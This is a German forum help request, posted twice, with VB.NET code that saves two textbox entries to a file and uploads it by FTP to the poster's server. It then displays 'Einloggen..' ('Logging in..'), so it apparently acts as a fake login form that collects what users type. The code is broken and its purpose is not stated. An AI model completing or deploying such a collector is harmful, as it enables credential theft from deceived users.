Hallo,
Ich hoffe ich Poste das im richtig Forum ich habe eine Dringende Frage was ist hier dran faltsch Danke im vorraus
'Textboxen Speichern
Dim whatever As New IO.StreamWriter("textboxen.txt") 'Name kann geändert werden
whatever.WriteLine(TextBox1.Text & vbNewLine & TextBox2.Text)
whatever.Close()
'FTP Upload
Try
Dim sLocalPath As String = Environment.CurrentDirectory & "C:\textboxen.txt" 'Speicherort der Datei
' FTP-Server
Dim sFTPHost As String = "ftp://MEIN-SERVER.funpic.de " 'dein ftp server
' Benutzername und Kennwort für den Server-Zugriff
Dim sUserName As String = "MEIN name" 'Username
Dim sPassword As String = "Mein pass" 'Passwort
' Datei wie UploadFile-Methode hochladen
My.Computer.Network.UploadFile(sLocalPath, sFTPHost, sUserName, sPassword, False, 1000, FileIO.UICancelOption.DoNothing)
MsgBox("Einloggen..", MsgBoxStyle.Information, "Fertig ") 'Bescheid geben das alles gut verlaufen ist
End
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Exclamation, "Versuchen sie es in 10 sek erneut") 'Bescheid Geben das was schief gelaufen ist
End Try
End Sub
da kommt immer der Fehler : Die Adresse für den UploadFile muss einen Dateinamen enthalten.
danke schonmal mfg David
Ich hoffe ich Poste das im richtig Forum ich habe eine Dringende Frage was ist hier dran faltsch Danke im vorraus
'Textboxen Speichern
Dim whatever As New IO.StreamWriter("textboxen.txt") 'Name kann geändert werden
whatever.WriteLine(TextBox1.Text & vbNewLine & TextBox2.Text)
whatever.Close()
'FTP Upload
Try
Dim sLocalPath As String = Environment.CurrentDirectory & "C:\textboxen.txt" 'Speicherort der Datei
' FTP-Server
Dim sFTPHost As String = "ftp://MEIN-SERVER.funpic.de " 'dein ftp server
' Benutzername und Kennwort für den Server-Zugriff
Dim sUserName As String = "MEIN name" 'Username
Dim sPassword As String = "Mein pass" 'Passwort
' Datei wie UploadFile-Methode hochladen
My.Computer.Network.UploadFile(sLocalPath, sFTPHost, sUserName, sPassword, False, 1000, FileIO.UICancelOption.DoNothing)
MsgBox("Einloggen..", MsgBoxStyle.Information, "Fertig ") 'Bescheid geben das alles gut verlaufen ist
End
Catch ex As Exception
MsgBox(ex.Message, MsgBoxStyle.Exclamation, "Versuchen sie es in 10 sek erneut") 'Bescheid Geben das was schief gelaufen ist
End Try
End Sub
da kommt immer der Fehler : Die Adresse für den UploadFile muss einen Dateinamen enthalten.
danke schonmal mfg David